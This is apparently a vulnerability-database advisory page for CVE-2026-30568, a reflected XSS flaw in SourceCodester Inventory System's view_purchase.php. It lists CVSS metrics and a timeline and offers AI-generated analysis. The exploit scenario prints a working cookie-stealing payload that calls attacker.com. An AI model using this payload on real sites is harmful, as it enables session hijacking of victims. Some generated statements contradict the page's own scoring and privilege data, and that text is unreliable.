What is the CVSS score of CVE-2026-30568?

CVE-2026-30568 has a CVSS 3.1 base score of 4.8 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N. EPSS exploitation probability: 0.0%.

Which versions of PHP are affected by CVE-2026-30568?

CVE-2026-30568 presents moderate security risk, a cross-site scripting vulnerability rated CVSS 4.8. Attackers could inject scripts to steal sessions or perform actions as authenticated users.

Is there a public PoC exploit available for CVE-2026-30568?

Yes, a public proof-of-concept exploit is available for CVE-2026-30568. Prioritise patching immediately. EPSS: 0.0%.

How to fix or mitigate CVE-2026-30568?

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

PHP CVE-2026-30568

EUVD-2026-16730 MEDIUM

Cross-site Scripting (XSS) (CWE-79)

2026-03-27 cve@mitre.org

PHP XSS

4.8

CVSS 3.1 · NVD

Severity by source

NVD PRIMARY

4.8 MEDIUM

AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

High

User Interaction

Required

Scope

Changed

Confidentiality

Low

Integrity

Low

Availability

None

Lifecycle Timeline

PoC Detected

Mar 30, 2026 - 17:18 vuln.today

Public exploit code

EUVD ID Assigned

Mar 27, 2026 - 18:22 euvd

EUVD-2026-16730

Analysis Generated

Mar 27, 2026 - 18:22 vuln.today

CVE Published

Mar 27, 2026 - 18:16 nvd

MEDIUM 4.8

DescriptionCVE.org

A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Inventory System 1.0 in in the view_purchase.php file via the "limit" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.

AnalysisAI

Reflected cross-site scripting (XSS) in SourceCodester Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript or HTML through an unsanitized 'limit' parameter in the view_purchase.php file. The vulnerability affects unauthenticated users who click a malicious link, enabling session hijacking, credential theft, or malware distribution. …

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Vulnerability AssessmentAI

Risk Assessment	Real-world risk is moderate to high, despite missing CVSS and EPSS data. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker crafts a URL such as 'http://target.com/view_purchase.php?limit=<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' and sends it to a victim via email or embeds it on a compromised website. When the victim clicks the link or the page auto-loads, the injected script executes in the victim's browser within the context of the target application, exfiltrating session cookies or triggering further actions on behalf of the victim. …
Remediation	Immediate action: upgrade SourceCodester Inventory System to the latest available version if a patch has been released by the vendor (verify at the SourceCodester website or official repository). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

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CVE-2026-30568 vulnerability details – vuln.today

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PHP CVE-2026-30568

Severity by source

CVSS VectorNVD

Lifecycle Timeline

DescriptionCVE.org

AnalysisAI

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External POC / Exploit Code